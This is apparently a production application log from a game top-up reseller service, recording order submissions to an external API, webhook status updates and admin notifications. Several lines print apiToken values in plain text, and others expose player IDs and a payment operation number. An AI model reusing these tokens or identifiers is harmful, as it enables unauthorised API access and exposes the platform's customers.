[2026-03-24 22:22:15] production.INFO: Handling job for order: 179471  
[2026-03-24 22:22:15] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:22:15] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:22:15] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=5f3f2282-340e-462c-ae01-13ad0b59a401&Player_ID=0983478390  
[2026-03-24 22:22:15] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=5f3f2282-340e-462c-ae01-13ad0b59a401&Player_ID=0983478390","has_body":false} 
[2026-03-24 22:22:16] production.INFO: Operation sent successfully {"operation_id":164341,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-UPeKwxWw-1774380136","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 22:22:16"}},"processed_data":{"order_number":"ORD-UPeKwxWw-1774380136","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 22:22:16] production.INFO: Constructing job for order: 179472  
[2026-03-24 22:22:19] production.INFO: Handling job for order: 179472  
[2026-03-24 22:22:19] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:22:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:22:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=b3e7df4d-cd5e-414a-b419-a7dd41056890&Player_ID=5383496384  
[2026-03-24 22:22:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=b3e7df4d-cd5e-414a-b419-a7dd41056890&Player_ID=5383496384","has_body":false} 
[2026-03-24 22:22:20] production.INFO: Constructing job for order: 179473  
[2026-03-24 22:22:20] production.INFO: Operation sent successfully {"operation_id":164342,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-3C7-1774380140","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:22:20"}},"processed_data":{"order_number":"ORD-3C7-1774380140","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 22:22:23] production.INFO: Handling job for order: 179473  
[2026-03-24 22:22:23] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:22:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:22:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=73185779-da4a-4683-a411-0022aa3464dd&Player_ID=5383496384  
[2026-03-24 22:22:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=73185779-da4a-4683-a411-0022aa3464dd&Player_ID=5383496384","has_body":false} 
[2026-03-24 22:22:24] production.INFO: Operation sent successfully {"operation_id":164343,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-50Gi-1774380144","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:22:24"}},"processed_data":{"order_number":"ORD-50Gi-1774380144","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 22:22:42] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-50Gi-1774380144","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:22:42] production.INFO: Processed webhook data (normalized) {"id":"ORD-50Gi-1774380144","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:22:42] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:22:42] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179473} 
[2026-03-24 22:22:42] production.INFO: Order updated successfully. Order ID: 179473, Status: completed  
[2026-03-24 22:22:42] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-50Gi-1774380144","status":"completed","codes_count":0} 
[2026-03-24 22:22:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 22:22:51] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-3C7-1774380140","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:22:51] production.INFO: Processed webhook data (normalized) {"id":"ORD-3C7-1774380140","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:22:51] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:22:51] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179472} 
[2026-03-24 22:22:51] production.INFO: Order updated successfully. Order ID: 179472, Status: completed  
[2026-03-24 22:22:51] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-3C7-1774380140","status":"completed","codes_count":0} 
[2026-03-24 22:22:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 22:22:54] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1000.0","mainamount":"1000","operation_number":"158806284","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phplr2r88oq3c1f5dDLy9s"}},"user_id":352} 
[2026-03-24 22:22:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 22:22:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 22:22:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 22:22:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 22:22:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 22:22:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 22:22:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 22:22:57] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 22:22:57] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18724,"user_id":352,"amount":1000.0,"admins_notified":7} 
[2026-03-24 22:23:18] production.INFO: Constructing job for order: 179474  
[2026-03-24 22:23:21] production.INFO: Handling job for order: 179474  
[2026-03-24 22:23:21] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:23:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:23:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=d95344c9-ab64-487e-a177-3ec2b909bb7a&Player_ID=52402419809  
[2026-03-24 22:23:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=d95344c9-ab64-487e-a177-3ec2b909bb7a&Player_ID=52402419809","has_body":false} 
[2026-03-24 22:23:22] production.INFO: Operation sent successfully {"operation_id":164344,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Bmdy-1774380202","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:23:22"}},"processed_data":{"order_number":"ORD-Bmdy-1774380202","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 22:23:33] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Bmdy-1774380202","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:23:33] production.INFO: Processed webhook data (normalized) {"id":"ORD-Bmdy-1774380202","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:23:33] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:23:33] production.INFO: SendAcceptReject: Notification queued {"user_id":33,"notification_type":"order_approved","reference_id":179474} 
[2026-03-24 22:23:33] production.INFO: Order updated successfully. Order ID: 179474, Status: completed  
[2026-03-24 22:23:33] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Bmdy-1774380202","status":"completed","codes_count":0} 
[2026-03-24 22:23:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 33  
[2026-03-24 22:23:47] production.INFO: Constructing job for order: 179475  
[2026-03-24 22:23:49] production.INFO: Handling job for order: 179475  
[2026-03-24 22:23:49] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:23:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:23:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=1000&uuid=48216229-633a-49aa-910c-ca1049ab573d&Player_ID=samo187  
[2026-03-24 22:23:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=1000&uuid=48216229-633a-49aa-910c-ca1049ab573d&Player_ID=samo187","has_body":false} 
[2026-03-24 22:23:50] production.INFO: Operation sent successfully {"operation_id":164345,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5SRl8Jd-1774380229","amount":17.478260799999997487930158968083560466766357421875,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 22:23:50"}},"processed_data":{"order_number":"ORD-5SRl8Jd-1774380229","amount":17.478260799999997487930158968083560466766357421875,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 22:23:50] production.INFO: Constructing job for order: 179476  
[2026-03-24 22:23:51] production.INFO: Constructing job for order: 179477  
[2026-03-24 22:23:53] production.INFO: Handling job for order: 179476  
[2026-03-24 22:23:53] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:23:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:23:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=9d1ce71a-16ab-42ef-a2a2-f7a72e8556ac&Player_ID=1485592521  
[2026-03-24 22:23:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=9d1ce71a-16ab-42ef-a2a2-f7a72e8556ac&Player_ID=1485592521","has_body":false} 
[2026-03-24 22:23:54] production.INFO: Operation sent successfully {"operation_id":164346,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-tCbN-1774380233","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 22:23:54"}},"processed_data":{"order_number":"ORD-tCbN-1774380233","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 22:23:54] production.INFO: Handling job for order: 179477  
[2026-03-24 22:23:54] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:23:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:23:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7951e6b5-4a8c-4439-bd9d-68ced3576c59&Player_ID=5383496384  
[2026-03-24 22:23:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7951e6b5-4a8c-4439-bd9d-68ced3576c59&Player_ID=5383496384","has_body":false} 
[2026-03-24 22:23:54] production.INFO: Operation sent successfully {"operation_id":164347,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-FQUHA6-1774380234","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:23:54"}},"processed_data":{"order_number":"ORD-FQUHA6-1774380234","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 22:23:57] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-5SRl8Jd-1774380229","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:23:57] production.INFO: Processed webhook data (normalized) {"id":"ORD-5SRl8Jd-1774380229","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:23:57] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:23:57] production.INFO: SendAcceptReject: Notification queued {"user_id":529,"notification_type":"order_approved","reference_id":179475} 
[2026-03-24 22:23:57] production.INFO: Order updated successfully. Order ID: 179475, Status: completed  
[2026-03-24 22:23:57] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-5SRl8Jd-1774380229","status":"completed","codes_count":0} 
[2026-03-24 22:23:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 529  
[2026-03-24 22:24:00] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-tCbN-1774380233","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:24:00] production.INFO: Processed webhook data (normalized) {"id":"ORD-tCbN-1774380233","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:24:00] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:24:00] production.INFO: SendAcceptReject: Notification queued {"user_id":913,"notification_type":"order_approved","reference_id":179476} 
[2026-03-24 22:24:00] production.INFO: Order updated successfully. Order ID: 179476, Status: completed  
[2026-03-24 22:24:00] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-tCbN-1774380233","status":"completed","codes_count":0} 
[2026-03-24 22:24:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 913  
[2026-03-24 22:24:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:00"} 
[2026-03-24 22:24:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:00","total_operations":4,"sites_count":2} 
[2026-03-24 22:24:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:00","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-wgI-1774379855","ORD-FQUHA6-1774380234"]} 
[2026-03-24 22:24:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:24:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 22:24:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-FQUHA6-1774380234","operation_id":164347} 
[2026-03-24 22:24:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:24:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 22:24:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"errors":0} 
[2026-03-24 22:24:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"orders_count":2,"order_ids":["ORD-njIVOi-1774380079","ORD-UPeKwxWw-1774380136"]} 
[2026-03-24 22:24:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:24:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"orders_count":2} 
[2026-03-24 22:24:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPeKwxWw-1774380136","operation_id":164341,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 22:24:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPeKwxWw-1774380136","operation_id":164341,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 22:24:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPeKwxWw-1774380136","operation_id":164341,"count":2} 
[2026-03-24 22:24:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPeKwxWw-1774380136","operation_id":164341,"count":2} 
[2026-03-24 22:24:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPeKwxWw-1774380136","operation_id":164341,"user_id":587,"notification_type":"order_approved","reference_id":179470} 
[2026-03-24 22:24:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPeKwxWw-1774380136","operation_id":164341,"user_id":1074,"notification_type":"order_approved","reference_id":179471} 
[2026-03-24 22:24:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPeKwxWw-1774380136","operation_id":164341,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:24:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPeKwxWw-1774380136","operation_id":164341,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:24:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPeKwxWw-1774380136","operation_id":164341,"processed":2,"errors":0} 
[2026-03-24 22:24:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPeKwxWw-1774380136","operation_id":164341,"processed":2,"errors":0} 
[2026-03-24 22:24:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ZhYK3V44ZrhCyzPr2d6mEuEyMqwgHdWX","execution_time":"2026-03-24 22:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPeKwxWw-1774380136","operation_id":164341} 
[2026-03-24 22:24:02] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 22:24:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 22:24:09] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-FQUHA6-1774380234","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:24:09] production.INFO: Processed webhook data (normalized) {"id":"ORD-FQUHA6-1774380234","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:24:09] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:24:09] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179477} 
[2026-03-24 22:24:09] production.INFO: Order updated successfully. Order ID: 179477, Status: completed  
[2026-03-24 22:24:09] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-FQUHA6-1774380234","status":"completed","codes_count":0} 
[2026-03-24 22:24:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 22:24:39] production.INFO: SendAcceptReject: Notification queued {"user_id":314,"notification_type":"order_approved","reference_id":179460} 
[2026-03-24 22:24:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 314  
[2026-03-24 22:25:03] production.INFO: Executing GetProducts task...  
[2026-03-24 22:25:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 22:25:03] production.INFO: Executing GetProducts task...  
[2026-03-24 22:25:05] production.INFO: async() رجع: true  
[2026-03-24 22:25:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 22:25:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 22:25:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 22:25:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 22:25:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 22:25:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 22:25:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 22:25:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 22:25:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 22:25:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 22:25:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 22:25:28] production.INFO: Constructing job for order: 179478  
[2026-03-24 22:25:30] production.INFO: Handling job for order: 179478  
[2026-03-24 22:25:30] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:25:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:25:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=3e4f4821-c04b-45c3-a202-c6c35707c930&Player_ID=1809485297  
[2026-03-24 22:25:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=3e4f4821-c04b-45c3-a202-c6c35707c930&Player_ID=1809485297","has_body":false} 
[2026-03-24 22:25:31] production.INFO: Operation sent successfully {"operation_id":164348,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-v7H-1774380331","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 22:25:31"}},"processed_data":{"order_number":"ORD-v7H-1774380331","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 22:25:36] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-v7H-1774380331","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:25:36] production.INFO: Processed webhook data (normalized) {"id":"ORD-v7H-1774380331","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:25:36] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:25:36] production.INFO: SendAcceptReject: Notification queued {"user_id":1071,"notification_type":"order_approved","reference_id":179478} 
[2026-03-24 22:25:36] production.INFO: Order updated successfully. Order ID: 179478, Status: completed  
[2026-03-24 22:25:36] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-v7H-1774380331","status":"completed","codes_count":0} 
[2026-03-24 22:25:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 22:26:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"YOjfDMqkSVa3UGodR3UEJ6x70RPXaCcR","execution_time":"2026-03-24 22:26:01"} 
[2026-03-24 22:26:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"YOjfDMqkSVa3UGodR3UEJ6x70RPXaCcR","execution_time":"2026-03-24 22:26:01","total_operations":1,"sites_count":1} 
[2026-03-24 22:26:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"YOjfDMqkSVa3UGodR3UEJ6x70RPXaCcR","execution_time":"2026-03-24 22:26:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-wgI-1774379855"]} 
[2026-03-24 22:26:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"YOjfDMqkSVa3UGodR3UEJ6x70RPXaCcR","execution_time":"2026-03-24 22:26:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:26:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"YOjfDMqkSVa3UGodR3UEJ6x70RPXaCcR","execution_time":"2026-03-24 22:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 22:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YOjfDMqkSVa3UGodR3UEJ6x70RPXaCcR","execution_time":"2026-03-24 22:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:26:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"YOjfDMqkSVa3UGodR3UEJ6x70RPXaCcR","execution_time":"2026-03-24 22:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 22:26:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"YOjfDMqkSVa3UGodR3UEJ6x70RPXaCcR","execution_time":"2026-03-24 22:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"errors":0} 
[2026-03-24 22:26:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"YOjfDMqkSVa3UGodR3UEJ6x70RPXaCcR","execution_time":"2026-03-24 22:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:26:07] production.INFO: SendAcceptReject: Notification queued {"user_id":45,"notification_type":"order_approved","reference_id":179459} 
